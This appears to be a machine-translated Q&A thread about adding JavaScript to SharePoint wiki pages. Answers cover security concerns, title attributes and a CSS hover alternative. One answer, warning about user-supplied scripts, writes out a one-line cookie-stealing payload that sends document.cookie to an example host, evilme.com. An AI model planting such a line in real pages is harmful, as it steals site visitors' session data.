如何在Wiki页面中输入Javascript?
作为Wiki管理员,我如何在Sharepoint Wiki页面中输入脚本(Javascript)?
我想输入一个标题,当单击该标题时,在其下方显示了一个小说明。我通常使用javascript完成此操作,还有其他想法吗?
解决方案
回答
这听起来像是安全隐患。 Wiki管理员似乎可以安装脚本,请参阅Wikipedia的用户脚本。
回答
我们应该不能为任何公共Wiki添加javascript代码。如果我们自己托管它,则需要请求一个特定的Wiki系统,以便有人可以修改该系统的设置(如果可能的话)。
回答
如果我们正在谈论将Javascript用作此站点上的网页的一部分,则不能。或者任何其他与此相关的公共Wiki,都有安全隐患。
如果我们要发布代码示例,请单击文本框上方的" 101010"按钮。
回答
当然,这取决于我们正在使用的Wiki引擎。但是,正如sblundy所说,允许在Wiki页面上免费使用javascript会带来安全风险。
回答
这完全取决于我们使用的特定Wiki软件。我看到的工作方式是将js文件托管在其他位置,然后包括带有src属性的脚本标签。
如果他们不允许这样做,那么也许他们允许我们将IFRAME设置为包含脚本的页面。使用第二种技术,将不允许我们访问宿主页面的DOM。
回答
将`title =" text here""添加到任何标签,将鼠标悬停在其上时应显示文本。
尽管不符合标准,但是Internet Explorer在使用" alt ="这里的文本""属性时会显示文本。
我现在进行了测试,我们可以向基于Wikimedia(维基百科使用的一种)的任何系统添加`<h2 title ="此处的解释性">标题</ h2>。
回答
如果维基作者很明智,那么可能就没有办法做到这一点。
用户提供的JavaScript的问题在于,它为各种形式的恶作剧者打开了大门,使他们能够从毫无戒心的人那里获取数据。
让我们假设邪恶的我在公共网站上发布了一个脚本:
i = new Image(); i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
现在,我将收到页面的每个访问者的cookie信息,并将其发布到服务器上的日志中。那只是冰山一角。
回答
假设我们是Wiki的管理员,并且愿意在鼠标悬停而不是点击时显示此内容,那么我们根本不需要JavaScript,我们可以使用直接的CSS。这是样式和标记的示例:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Test</title> <style type="text/css"> h1 { padding-bottom: .5em; position: relative; } h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } h1:hover span { display: block; } </style> </head> <body> <h1>Here is the title! <span>Here is a little explanation</span> </h1> <p>Here is some page content</p> </body> </html>
使用更多涉及的样式,工具提示框可以随心所欲。
回答
我喜欢CSS答案。当我们可以使用CSS而不是Javascript时,它可以简化标记。
要研究的另一件事是Codeplex上的SharePoint增强的Wiki版社区工具包。我们可以下载源代码并添加自己的功能。或者,我们可以在论坛中将此功能推荐为一项新功能。